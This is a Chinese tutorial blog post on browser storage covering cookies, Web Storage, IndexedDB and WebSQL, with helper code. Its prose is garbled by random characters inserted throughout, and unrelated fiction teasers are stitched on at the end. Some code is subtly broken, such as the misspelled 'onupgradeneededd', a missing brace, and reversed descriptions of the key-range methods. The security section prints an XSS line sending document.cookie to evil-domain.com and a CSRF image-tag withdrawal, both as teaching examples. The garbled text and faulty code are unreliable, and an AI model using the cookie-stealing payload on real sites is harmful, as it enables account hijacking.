瀏覽器的存儲技術(shù)

在做項(xiàng)目的過程中,經(jīng)常需要把數(shù)據(jù)存儲在本地馅袁,便于提高用戶的體驗(yàn)效果等域慷,如權(quán)限驗(yàn)證的token、用戶信息汗销、數(shù)據(jù)埋點(diǎn)犹褒、客戶端皮膚語言配置等等。因此大溜,向總結(jié)一篇詳細(xì)的文章來歸納瀏覽器的存儲技術(shù)化漆。

一、前言

首先钦奋,看下圖谷歌瀏覽器控制臺的 Application 一欄座云,我們可以發(fā)現(xiàn)左側(cè)一列基本涵蓋了瀏覽器的所有存儲方式疙赠,因此,下面講針對這一塊進(jìn)行歸納整理朦拖。


chrome Application欄

對瀏覽器的所有本地存儲技術(shù)圃阳,可以劃分為如下圖


瀏覽器的數(shù)據(jù)存儲技術(shù).png

二、Cookie

1. 介紹

Cookie璧帝,也稱HTTP Cookie捍岳,是服務(wù)器發(fā)送到用戶瀏覽器并保存在本地的一小塊數(shù)據(jù),并在瀏覽器下次向同一臺服務(wù)器發(fā)起請求時(shí)睬隶,攜帶并發(fā)送到服務(wù)器上锣夹。通常,用于告知服務(wù)器兩個(gè)請求是否來自同個(gè)瀏覽器苏潜,如用戶的登錄狀態(tài)银萍、首選項(xiàng)等。從底層上看恤左,它是HTTP協(xié)議的一種擴(kuò)展實(shí)現(xiàn)贴唇。

2. 組成結(jié)構(gòu)

[name] [value] [path] [domain] [expires] [secure] [httponly]
[鍵] [值] [路徑] [所屬域] [過期時(shí)間] [secure flag] [httponly flag]

name=value是必選項(xiàng),其它都是可選項(xiàng)

name:一個(gè)唯一確定的cookie名稱飞袋。通常來講cookie的名稱是不區(qū)分大小寫的戳气。

value:存儲在cookie中的字符串值。最好為cookie的namevalue進(jìn)行URI編碼

path:在指定路徑的時(shí)候巧鸭,凡是來自同一服務(wù)器瓶您,URL里有相同路徑的所有頁面都可以共享cookie。以字符 %x2F ("/") 作為路徑分隔符蹄皱,子路徑也會被匹配览闰。如,Path=/docs巷折,則docs/test可以共享使用/docs頁面創(chuàng)建的cookie压鉴。

domain:cookie對于哪個(gè)域是有效的。所有向該域發(fā)送的請求中都會包含這個(gè)cookie信息锻拘。如果不指定油吭,默認(rèn)為 origin,不包含子域名署拟。如果設(shè)置 Domain=mozilla.org婉宰,則 Cookie 也包含在子域名中(如developer.mozilla.org)。

expires:失效時(shí)間推穷,表示cookie何時(shí)應(yīng)該被刪除的時(shí)間戳(也就是心包,何時(shí)應(yīng)該停止向服務(wù)器發(fā)送這個(gè)cookie)。如果不設(shè)置這個(gè)時(shí)間戳馒铃,瀏覽器會在頁面關(guān)閉時(shí)即將刪除所有cookie蟹腾;不過也可以自己設(shè)置刪除時(shí)間痕惋。這個(gè)值是GMT時(shí)間格式,如果客戶端和服務(wù)器端時(shí)間不一致娃殖,使用expires就會存在偏差值戳。

max-age:與expires作用相同,用來告訴瀏覽器此cookie多久過期(單位是秒)炉爆,而不是一個(gè)固定的時(shí)間點(diǎn)堕虹。正常情況下,max-age的優(yōu)先級高于expires芬首。

Secure: 安全標(biāo)志赴捞,指定后,只能在HTTPS連接中被瀏覽器傳遞到服務(wù)器端進(jìn)行會話驗(yàn)證衩辟,如果是HTTP連接則不會傳遞該信息螟炫。就算設(shè)置了secure屬性也并不代表他人不能看到你機(jī)器本地保存的cookie信息波附,所以不要把重要信息放cookie艺晴。這項(xiàng)設(shè)置通常在服務(wù)器端設(shè)置。

HttpOnly: 告知瀏覽器不允許通過腳本document.cookie去更改這個(gè)值掸屡,同樣這個(gè)值在document.cookie中也不可見封寞。但在http請求仍然會攜帶這個(gè)cookie。注意這個(gè)值雖然在腳本中不可獲取仅财,但仍然在瀏覽器安裝目錄中以文件形式存在狈究。這項(xiàng)設(shè)置通常在服務(wù)器端設(shè)置。

SameSiteCookie允許服務(wù)器要求某個(gè)cookie在跨站請求時(shí)不會被發(fā)送盏求,從而可以阻止跨站請求偽造攻擊(CSRF)抖锥。有三個(gè)值:None(瀏覽器會在同站請求、跨站請求下繼續(xù)發(fā)送 cookies碎罚,不區(qū)分大小寫)磅废、Strict(瀏覽器將只在訪問相同站點(diǎn)時(shí)發(fā)送 cookie)、Lax(與 Strict 類似荆烈,但用戶從外部站點(diǎn)導(dǎo)航至URL時(shí)(例如通過鏈接)除外拯勉。)

3. 生命周期

會話期 Cookie:瀏覽器關(guān)閉后會自動(dòng)被刪除,即僅在會話期有效憔购。會話期Cookie不需要指定過期時(shí)間(Expires)或者有效期(Max-Age)宫峦。

注意:有些瀏覽器提供恢復(fù)會話功能,即關(guān)閉瀏覽器的情況下玫鸟,會話期的cookie仍被保存导绷,這導(dǎo)致cookie生命周期無限延長。

持久性 Cookie:生命周期取決于過期時(shí)間(Expires)或有效期(Max-Age)指定的一段時(shí)間屎飘。

注意:當(dāng)Cookie的過期時(shí)間被設(shè)定時(shí)妥曲,設(shè)定的日期和時(shí)間只與客戶端相關(guān)账蓉,而不是服務(wù)端。所以當(dāng)訪問了跨時(shí)區(qū)的服務(wù)器時(shí)逾一,容易存在誤差铸本。

4. 優(yōu)點(diǎn)

Cookie的API很早定義并實(shí)現(xiàn),所以基本兼容所有的主流瀏覽器遵堵。

5. 缺點(diǎn)

1. 存儲容量小箱玷。雖然不同瀏覽器的存儲量不同,但基本都在4KB左右陌宿。
2. 浪費(fèi)帶寬锡足。因?yàn)闉g覽器每次請求的請求頭都會攜帶cookie,若cookie信息過多時(shí)壳坪,會影響資源的加載效率舶得,浪費(fèi)帶寬資源。
3. 存儲格式限制爽蝴。只能存儲字符串沐批。
4. 安全問題。如果cookie存放著用戶的敏感信息且沒有加密時(shí)蝎亚,如果cookie被竊取到九孩,攻擊者可以利用xss對cookie進(jìn)行覆蓋,盜用用戶賬號发框。
5. 用戶設(shè)置禁用cookie躺彬。第三方cookie的濫用,高端用戶就會開啟禁用cookie梅惯,這時(shí)候設(shè)置cookie前宪拥,還需檢測用戶是否支持cookie,比較麻煩铣减。

6. 操作

cookie主要有三個(gè)操作:讀取她君、寫入、刪除徙歼,但是處理起來非常繁瑣犁河,因?yàn)閏ookie的key和value都需要使用encodeURIComponent進(jìn)行URI編碼,所以讀取的時(shí)候魄梯,需要用decodeURIComponent進(jìn)行解碼桨螺。因此,封裝成一個(gè)操作對象酿秸,如下灭翔。

對于永久cookie我們用了Fri, 31 Dec 9999 23:59:59 GMT作為過期日。如果你不想使用這個(gè)日期,可使用世界末日Tue, 19 Jan 2038 03:14:07 GMT

var CookieUtil = {
  // 獲取cookie值
  getItem: function (sKey) {
    return (
      decodeURIComponent(
        document.cookie.replace(
          new RegExp(
            '(?:(?:^|.*;)\\s*' +
              encodeURIComponent(sKey).replace(/[-.+*]/g, '\\$&') +
              '\\s*\\=\\s*([^;]*).*$)|^.*$',
          ),
          '$1',
        ),
      ) || null
    );
  },
  // 設(shè)置cookie
  setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
    if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) {
      return false;
    }
    var sExpires = '';
    if (vEnd) {
      switch (vEnd.constructor) {
        case Number:
          sExpires =
            vEnd === Infinity ? '; expires=Fri, 31 Dec 9999 23:59:59 GMT' : '; max-age=' + vEnd;
          break;
        case String:
          sExpires = '; expires=' + vEnd;
          break;
        case Date:
          sExpires = '; expires=' + vEnd.toUTCString();
          break;
        default:
          sExpires = '';
      }
    }
    document.cookie =
      encodeURIComponent(sKey) +
      '=' +
      encodeURIComponent(sValue) +
      sExpires +
      (sDomain ? '; domain=' + sDomain : '') +
      (sPath ? '; path=' + sPath : '') +
      (bSecure ? '; secure' : '');
    return true;
  },
  // 刪除已有cookie
  removeItem: function (sKey, sPath, sDomain) {
    if (!sKey || !this.hasItem(sKey)) {
      return false;
    }
    document.cookie =
      encodeURIComponent(sKey) +
      '=; expires=Thu, 01 Jan 1970 00:00:00 GMT' +
      (sDomain ? '; domain=' + sDomain : '') +
      (sPath ? '; path=' + sPath : '');
    return true;
  },
  // 判斷是否存在這個(gè)cookie
  hasItem: function (sKey) {
    return new RegExp(
      '(?:^|;\\s*)' + encodeURIComponent(sKey).replace(/[-.+*]/g, '\\$&') + '\\s*\\=',
    ).test(document.cookie);
  },
  // 獲取所有cookie的key
  keys: function () {
    var aKeys = document.cookie
      .replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, '')
      .split(/\s*(?:\=[^;]*)?;\s*/);
    for (var nIdx = 0; nIdx < aKeys.length; nIdx++) {
      aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]);
    }
    return aKeys;
  },
};

7. 安全

會話劫持和XSS

如果攻擊者獲取到你的cookie信息肝箱,只需要在頁面添加(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;這句代碼哄褒,就可以訪問到你的信息。
解決方法:通過設(shè)置HttpOnly可一定程度上煌张,緩解此類攻擊呐赡。

跨站請求偽造CSRF

如果你登陸了你的銀行賬戶并且cookie還有效,然后你看到一個(gè)有意思的危險(xiǎn)網(wǎng)站骏融,點(diǎn)擊進(jìn)去链嘀,里面剛好有一張圖片<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">,這時(shí)候就利用了你的cookie信息档玻,你以為在加載圖片怀泊,實(shí)際向銀行發(fā)送了一個(gè)轉(zhuǎn)帳的請求。結(jié)果就是误趴,你的錢都沒了霹琼。
解決方法:給敏感信息較短的聲明周期;敏感操作要慎重凉当。

cookie防護(hù)
  • cookie不要存放敏感信息
  • 加防篡改驗(yàn)證碼枣申,給登錄加個(gè)隨機(jī)驗(yàn)證碼
  • 對cookie加密
  • 強(qiáng)制要求開啟HTTPS
  • 對重要值加HttpOnly

參考鏈接
MDN-什么是cookie
MDN-Document.cookie用法
淺談cookie安全
前端持久化之瀏覽器存儲技術(shù)

三、Web Storage

Web Storage主要由local storagesession storage組成纤怒,那么糯而,相比cookie,Web Storage有什么優(yōu)勢呢泊窘?

1. 減少網(wǎng)絡(luò)流量
請求一次數(shù)據(jù)保存后,可以避免再次向服務(wù)器請求數(shù)據(jù)像寒,減少不必要的請求烘豹,并且不必在服務(wù)器和瀏覽器之間來回傳遞。
2. 快速顯示數(shù)據(jù)
無需等待加載數(shù)據(jù)诺祸,使用緩存立即渲染頁面携悯,提高用戶體驗(yàn)效果。
3. 存儲空間更大
IE8下每個(gè)獨(dú)立的存儲空間為10M筷笨,其他瀏覽器實(shí)現(xiàn)略有不同憔鬼,但都比Cookie要大很多。
4. 存儲內(nèi)容不會發(fā)送至服務(wù)器
Cookie的內(nèi)容會隨請求一并發(fā)送給服務(wù)器胃夏,造成帶寬浪費(fèi)轴或;而web storage只存儲在本地,不會跟服務(wù)器有任何交互仰禀。
5. 更簡單易用的接口
web storage提供了添加照雁、刪除、獲取數(shù)據(jù)的接口答恶。
6. 獨(dú)立存儲空間
每個(gè)域(包括子域)有獨(dú)立的存儲空間饺蚊,各個(gè)存儲空間是完全獨(dú)立的萍诱,因此不會造成數(shù)據(jù)混亂。

1. Local Storage

locaStorage在瀏覽器端通過鍵值對存儲數(shù)據(jù)污呼,雖然localStorage只能存儲字符串裕坊,但它也可以存儲字符串化的JSON數(shù)據(jù)。IE8+支持燕酷,每個(gè)域名限制5M碍庵。

通過localStorage存儲的數(shù)據(jù)時(shí)永久性的,除非我們使用removeItem來刪除或者用戶通過設(shè)置瀏覽器配置來刪除悟狱,否則數(shù)據(jù)會一直保留在用戶的電腦上静浴,永不過期。

localStorage的作用域只有同源才能互相共享數(shù)據(jù)挤渐,同時(shí)也受瀏覽器的限制苹享。

MDN-window.localStorage用法

2. Session Storage

local storage差不多,唯一的區(qū)別就是浴麻,Session Storage只存儲當(dāng)前會話頁的數(shù)據(jù)得问,且只有當(dāng)用戶關(guān)閉當(dāng)前會話頁或?yàn)g覽器時(shí),數(shù)據(jù)才會被清除软免,但是用戶刷新會話頁仍能保存數(shù)據(jù)宫纬。

MDN-window.sessionStorage用法

3. 操作

local storagesession storage的API基本差不多,所以可以對其兩個(gè)進(jìn)行封裝膏萧,代碼如下漓骚,

function createStorage(storage = window.localStorage) {
  return {
    get: (key) => {
      return storage.getItem(key);
    },
    /**
     * 讀取一個(gè)對象(使用JSON.parse解析)
     */
    getObject: (key) => {
      const value = storage.getItem(key);
      let res;
      try {
        res = JSON.parse(value);
      } catch (e) {
        res = {};
      }
      return res;
    },
    set: (key, value) => {
      storage.setItem(key, value);
    },
    /**
     * 設(shè)置一個(gè)對象(使用JSON.stringify序列化)
     */
    setObject: (key, value) => {
      storage.setItem(key, JSON.stringify(value));
    },
    remove: (key) => {
      return storage.removeItem(key);
    },
    // 移除所有數(shù)據(jù)
    clear: () => {
      return storage.clear();
    },
  };
}

export const localStorage = createStorage(window.localStorage);
export const sessionStorage = createStorage(window.sessionStorage);

四、本地?cái)?shù)據(jù)庫

HTML5 indexedDBWeb SQL Database都是本地?cái)?shù)據(jù)庫數(shù)據(jù)存儲榛泛。Web SQL Database數(shù)據(jù)庫要出來的更早蝌蹂,但是從2010年11月18日W3C宣布舍棄Web SQL database草案開始,就已經(jīng)注定Web SQL Database數(shù)據(jù)庫是明日黃花曹锨。

IndexedDB

1. 相關(guān)概念

IndexedDB 是一種底層 API孤个,用于在客戶端存儲大量的結(jié)構(gòu)化數(shù)據(jù)(也包括文件/二進(jìn)制大型對象(blobs))。該 API 使用索引實(shí)現(xiàn)對數(shù)據(jù)的高性能搜索沛简。

IndexedDB 是一個(gè)事務(wù)型數(shù)據(jù)庫系統(tǒng)齐鲤,是一個(gè)基于 JavaScript 的面向?qū)ο髷?shù)據(jù)庫。IndexedDB 允許您存儲和檢索用索引的對象椒楣;可以存儲結(jié)構(gòu)化克隆算法支持的任何對象给郊。您只需要指定數(shù)據(jù)庫模式,打開與數(shù)據(jù)庫的連接撒顿,然后檢索和更新一系列事務(wù)丑罪。

IndexedDB 也遵守同源策略。同時(shí),使用 IndexedDB 執(zhí)行的操作是異步執(zhí)行的吩屹,以免阻塞應(yīng)用程序跪另。

那么,IndexedDB數(shù)據(jù)存儲在哪呢煤搜?一般是存儲在本地磁盤上免绿,瀏覽器會計(jì)算分配給web數(shù)據(jù)存儲的空間大小,當(dāng)超過空間大小時(shí)擦盾,則進(jìn)行刪除淆党。其中样漆,數(shù)據(jù)存儲的類型劃分為持久化存儲(需用戶手動(dòng)刪除)和臨時(shí)存儲(超過被分配的空間大小則自動(dòng)清理)。

你可能會想那它的存儲大小限制呢?瀏覽器的存儲限制有兩個(gè)串前,分別是全局限制組限制璃岳。全局限制的空間大小取決于你的磁盤空間大小哀九,組限制的空間大小取決于全局限制的20%蛹疯,但它至少有10 MB,最大為2GB症见。
何為組限制喂走?例如,mozilla.org谋作、www.mozilla.org和joe.blogs.mozilla.org可聚合為同組芋肠,他們共用同一個(gè)組空間。

2. 基本語法

1)打開數(shù)據(jù)庫

var db;
const dbName = 'project';
const version = 1;

// 創(chuàng)建/打開數(shù)據(jù)庫
// dbName 數(shù)據(jù)庫名
// version 版本號遵蚜,只能是整數(shù)
const DBOpenRequest= IndexedDB.open(dbName , version)

DBOpenRequest.onerror = function() {
    // 創(chuàng)建數(shù)據(jù)庫失敗時(shí)的回調(diào)函數(shù)
}
DBOpenRequest.onsuccess = function() {
    // 創(chuàng)建數(shù)據(jù)庫成功時(shí)的回調(diào)函數(shù)
    db = DBOpenRequest.result;
}

// 執(zhí)行于:數(shù)據(jù)庫首次創(chuàng)建版本帖池,或者window.indexedDB.open傳遞的新版本(版本數(shù)值要比現(xiàn)在的高)
DBOpenRequest.onupgradeneededd = function(e) {
     // 當(dāng)數(shù)據(jù)庫改變時(shí)的回調(diào)函數(shù)
     // 通常對主鍵,字段等進(jìn)行重定義
}

2)創(chuàng)建主鍵和字段
一般在對數(shù)據(jù)庫增刪查改數(shù)據(jù)之前谬晕,我們需要先建表碘裕,而IndexedDB則需要先建存儲對象objectStore

常用API(具體可查看MDN-IDBObjectStore

  • objectStore.add()向數(shù)據(jù)庫添加數(shù)據(jù)
  • objectStore.delete()刪除數(shù)據(jù)
  • objectStore.clear()清空數(shù)據(jù)庫
  • objectStore.put()可以替換數(shù)據(jù)
DBOpenRequest.onupgradeneeded = function(event) {
    var db = event.target.result;

    // 創(chuàng)建一個(gè)數(shù)據(jù)庫存儲對象
    var objectStore = db.createObjectStore(dbName, { 
        keyPath: 'id',
        autoIncrement: true
    });

    // 定義存儲對象的數(shù)據(jù)項(xiàng)
    objectStore.createIndex('id', 'id', {
        unique: true    
    });
    objectStore.createIndex('name', 'name');
    objectStore.createIndex('begin', 'begin');
    objectStore.createIndex('end', 'end');
    objectStore.createIndex('person', 'person');
    objectStore.createIndex('remark', 'remark');
};

其中攒钳,objectStore.createIndex(indexName, keyPath, objectParameters)

  • indexName:創(chuàng)建的索引名稱,可以使用空名稱作為索引雷滋;
  • keyPath:索引使用的關(guān)鍵路徑不撑,可以使用空的keyPath, 或者keyPath傳為數(shù)組keyPath也是可以的;
  • objectParameters:可選參數(shù)晤斩。常用參數(shù)之一是unique焕檬,表示該字段值是否唯一,不能重復(fù)澳泵。

3)添加數(shù)據(jù)
前面提過了实愚,IndexedDB是事務(wù)型數(shù)據(jù)庫,所以數(shù)據(jù)庫的操作都是基于事務(wù)(transaction)來進(jìn)行,于是腊敲,無論是添加編輯還是刪除數(shù)據(jù)庫击喂,我們都要先建立一個(gè)事務(wù)(transaction),然后才能繼續(xù)下面的操作碰辅。

let transaction = db.transaction([dbName], "readwrite");
// 打開已經(jīng)存儲的數(shù)據(jù)對象
let objectStore = transaction.objectStore(dbName);
// 添加到數(shù)據(jù)對象中
let objectStoreRequest = objectStore.add(newItem);        
// 添加成功回調(diào)函數(shù)
objectStoreRequest.onsuccess = function(event) {
  ....
};

4)編輯數(shù)據(jù)
原理:先根據(jù)id獲得對應(yīng)行的存儲對象懂昂,方法為objectStore.get(id),然后在原存儲對象上進(jìn)行替換没宾,再使用objectStore.put(record)進(jìn)行數(shù)據(jù)庫數(shù)據(jù)替換凌彬。

function edit(id, data) {
  // 編輯數(shù)據(jù)
  let transaction = db.transaction([dbName], "readwrite");
  // 打開已經(jīng)存儲的數(shù)據(jù)對象
  let objectStore = transaction.objectStore(dbName);
  // 獲取存儲的對應(yīng)鍵的存儲對象
  let objectStoreRequest = objectStore.get(id);
  // 獲取成功后替換當(dāng)前數(shù)據(jù)
  objectStoreRequest.onsuccess = function(event) {
  // 當(dāng)前數(shù)據(jù)
  let myRecord = objectStoreRequest.result;
  // 遍歷替換
  for (let key in data) {
       if (typeof myRecord[key] != 'undefined') {
           myRecord[key] = data[key];
       }
  }
  // 更新數(shù)據(jù)庫存儲數(shù)據(jù)                
  objectStore.put(myRecord);
}

5)刪除數(shù)據(jù)

function (id) {
    // 打開已經(jīng)存儲的數(shù)據(jù)對象
    let objectStore = db.transaction([dbName], "readwrite").objectStore(dbName); 
    // 直接刪除 
    let objectStoreRequest = objectStore.delete(id);
    // 刪除成功后
    objectStoreRequest.onsuccess = function() {
        ...
    };
}

6)數(shù)據(jù)獲取
indexedDB數(shù)據(jù)庫的獲取使用“游標(biāo)API”(Cursor APIs)和“范圍API”(Key Range APIs)。

讀取全部數(shù)據(jù)

let objectStore = db.transaction(dbName).objectStore(dbName);
// 使用存儲對象的openCursor()打開游標(biāo)
objectStore.openCursor().onsuccess = function(event) {
    let cursor = event.target.result;
    if (cursor) {
        // cursor.value就是數(shù)據(jù)對象
        console.log(cursor.value);
        // 游標(biāo)沒有遍歷完循衰,繼續(xù)
        cursor.continue();
    } else {
        // 如果全部遍歷完畢...
    }
}

讀取某個(gè)范圍內(nèi)的數(shù)據(jù)

// 確定打開的游標(biāo)的主鍵范圍
// key > x && ≤ y
// 表示id從4~10之間的數(shù)據(jù)铲敛,true的時(shí)候不能和范圍邊界相等,false則需要相等
let keyRangeValue = IDBKeyRange.bound(4, 10, true, false);
let objectStore = db.transaction(dbName).objectStore(dbName);
// 使用存儲對象的openCursor()打開游標(biāo)
objectStore.openCursor(keyRangeValue).onsuccess = function(event) {
    let cursor = event.target.result;
    if (cursor) {
        // cursor.value就是數(shù)據(jù)對象
        console.log(cursor.value);
        // 游標(biāo)沒有遍歷完会钝,繼續(xù)
        cursor.continue();
    } else {
        // 如果全部遍歷完畢...
    }
}

其中伐蒋,bound()范圍內(nèi),only()僅僅是顽素,lowerBound()小于某值咽弦,upperBound()大于某值

7)數(shù)據(jù)庫關(guān)閉和刪除

db.close(); // 關(guān)閉數(shù)據(jù)庫連接
window.indexedDB.deleteDatabase(dbName); // 刪除數(shù)據(jù)庫
3. 局限性

1)存儲限制
indexedDB存儲比較適合鍵值對較多的數(shù)據(jù),且無需數(shù)據(jù)轉(zhuǎn)換胁出;web Storage每次寫入和寫出都要字符串化和對象化型型。

2)兼容性
indexedDB存儲IE10+支持,web Storage存儲IE8+支持全蝶,后者兼容性更好闹蒜。

IndexedDB兼容性

3)擴(kuò)展性
indexedDB存儲可以在workers中使用,便于進(jìn)行PWA開發(fā)抑淫,但是web Storage好像不行绷落。

Web SQL

都廢棄了,沒啥好學(xué)的始苇,下面內(nèi)容可以跳過...

indexedDBWeb SQL Database對比內(nèi)容:

WebSQL IndexedDB
優(yōu)點(diǎn) 真正意義上的關(guān)系型數(shù)據(jù)庫砌烁,類似SQLite(SQLite是遵守ACID的輕型的關(guān)系型數(shù)據(jù)庫管理系統(tǒng)) 1. 允許對象的快速索引和搜索,因此在Web應(yīng)用程序場景中催式,您可以非澈恚快速地管理數(shù)據(jù)以及讀取/寫入數(shù)據(jù)。2. 由于是NoSQL數(shù)據(jù)庫荣月,因此我們可以根據(jù)實(shí)際需求設(shè)定我們的JavaScript對象和索引管呵。3. 在異步模式下工作,每個(gè)事務(wù)具有適度的粒狀鎖哺窄。這允許您在JavaScript的事件驅(qū)動(dòng)模塊內(nèi)工作捐下。
不足 規(guī)范不支持啦账锹;由于使用SQL語言,因此我們需要掌握和轉(zhuǎn)換我們的JavaScript對象為對應(yīng)的查詢語句坷襟;非對象驅(qū)動(dòng)奸柬。 如果你的世界觀里面只有關(guān)系型數(shù)據(jù)庫,恐怕不太容易理解啤握。
位置 包含行和列的表鸟缕。 包含JavaScript對象和鍵的存儲對象。
查詢機(jī)制 SQL Cursor APIs排抬,Key Range APIs懂从,應(yīng)用程序代碼
事務(wù) 鎖可以發(fā)生在數(shù)據(jù)庫,表蹲蒲,行的“讀寫”時(shí)候番甩。 鎖可以發(fā)生在數(shù)據(jù)庫版本變更事務(wù),或是存儲對象“只讀”和“讀寫”事務(wù)時(shí)候届搁。
事務(wù)提交 事務(wù)創(chuàng)建是顯式的缘薛。默認(rèn)是回滾,除非我們調(diào)用提交卡睦。 事務(wù)創(chuàng)建是顯式的宴胧。默認(rèn)是提交,除非我們調(diào)用中止或有一個(gè)錯(cuò)誤沒有被捕獲表锻。
image.png

參考鏈接
HTML5 indexedDB前端本地存儲數(shù)據(jù)庫實(shí)例教程
MDN-IndexedDB
MDN-IndexedDB 瀏覽器存儲限制和清理標(biāo)準(zhǔn)

五恕齐、Cache API

這是一個(gè)實(shí)驗(yàn)中的功能,目前暫時(shí)只有chrome和Firefox瀏覽器部分支持瞬逊,其他瀏覽器還不太行显歧,所以不在這里做過多擴(kuò)展說明确镊,想了解可以看這個(gè)鏈接MDN-Cache士骤。

六、其他

1)Manifest

Web應(yīng)用程序清單在一個(gè)JSON文本文件中提供有關(guān)應(yīng)用程序的信息(如名稱蕾域,作者拷肌,圖標(biāo)和描述),是漸進(jìn)式Web應(yīng)用程序(PWA)的Web技術(shù)集合的一部分旨巷。manifest 的目的是將Web應(yīng)用程序安裝到設(shè)備的主屏幕廓块,為用戶提供更快的訪問和更豐富的體驗(yàn)。

部署到HTML頁面的方式契沫,在文件頭添加一個(gè)鏈接

<link rel="manifest" href="/manifest.json">

具體使用參數(shù)請參考manifest參數(shù)

2)Application Cache:通過manifest配置文件在本地有選擇性地存儲javascriptcss昔汉、圖片等靜態(tài)資源文件的文件緩存機(jī)制懈万,已廢棄拴清。

3)Cache Storage:在ServiceWorker規(guī)范中定義的,用于保存每個(gè)ServiceWorker(聲明的Cache對象会通,未來可能替代Application Cache的離線方案口予。 之后,會整理一篇關(guān)于ServiceWorker的文章涕侈。

4)Flash緩存:主要基于Flash沪停,具有讀寫瀏覽器本地目錄的功能。

七裳涛、適用場景

Web Storage:如果是瀏覽器主窗體線程開發(fā)木张,同時(shí)存儲數(shù)據(jù)結(jié)構(gòu)簡單;
IndexedDB:如果數(shù)據(jù)結(jié)構(gòu)比較復(fù)雜,同時(shí)對瀏覽器兼容性沒什么要求端三,可以考慮使用indexedDB舷礼;如果是在Service Workers中開發(fā)應(yīng)用,只能使用indexedDB數(shù)據(jù)存儲郊闯。

參考鏈接

MDN-客戶端存儲
MDN-manifest
chrome-devtools的瀏覽器存儲
聊一聊常見的瀏覽器端數(shù)據(jù)存儲方案
突破本地離線存儲5M限制的JS庫localforage簡介

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末妻献,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子团赁,更是在濱河造成了極大的恐慌育拨,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,858評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件欢摄,死亡現(xiàn)場離奇詭異熬丧,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)剧浸,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,372評論 3 395
  • 文/潘曉璐 我一進(jìn)店門锹引,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人唆香,你說我怎么就攤上這事嫌变。” “怎么了躬它?”我有些...
    開封第一講書人閱讀 165,282評論 0 356
  • 文/不壞的土叔 我叫張陵腾啥,是天一觀的道長。 經(jīng)常有香客問我冯吓,道長倘待,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,842評論 1 295
  • 正文 為了忘掉前任组贺,我火速辦了婚禮凸舵,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘失尖。我一直安慰自己啊奄,他們只是感情好渐苏,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,857評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著菇夸,像睡著了一般琼富。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上庄新,一...
    開封第一講書人閱讀 51,679評論 1 305
  • 那天鞠眉,我揣著相機(jī)與錄音,去河邊找鬼择诈。 笑死械蹋,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的吭从。 我是一名探鬼主播朝蜘,決...
    沈念sama閱讀 40,406評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼涩金!你這毒婦竟也來了谱醇?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,311評論 0 276
  • 序言:老撾萬榮一對情侶失蹤步做,失蹤者是張志新(化名)和其女友劉穎副渴,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體全度,經(jīng)...
    沈念sama閱讀 45,767評論 1 315
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡煮剧,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,945評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了将鸵。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片勉盅。...
    茶點(diǎn)故事閱讀 40,090評論 1 350
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖顶掉,靈堂內(nèi)的尸體忽然破棺而出草娜,到底是詐尸還是另有隱情,我是刑警寧澤痒筒,帶...
    沈念sama閱讀 35,785評論 5 346
  • 正文 年R本政府宣布宰闰,位于F島的核電站,受9級特大地震影響簿透,放射性物質(zhì)發(fā)生泄漏移袍。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,420評論 3 331
  • 文/蒙蒙 一老充、第九天 我趴在偏房一處隱蔽的房頂上張望葡盗。 院中可真熱鬧,春花似錦啡浊、人聲如沸戳粒。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,988評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽蔚约。三九已至,卻和暖如春涂籽,著一層夾襖步出監(jiān)牢的瞬間苹祟,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,101評論 1 271
  • 我被黑心中介騙來泰國打工评雌, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留树枫,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,298評論 3 372
  • 正文 我出身青樓景东,卻偏偏與公主長得像砂轻,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個(gè)殘疾皇子斤吐,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,033評論 2 355

推薦閱讀更多精彩內(nèi)容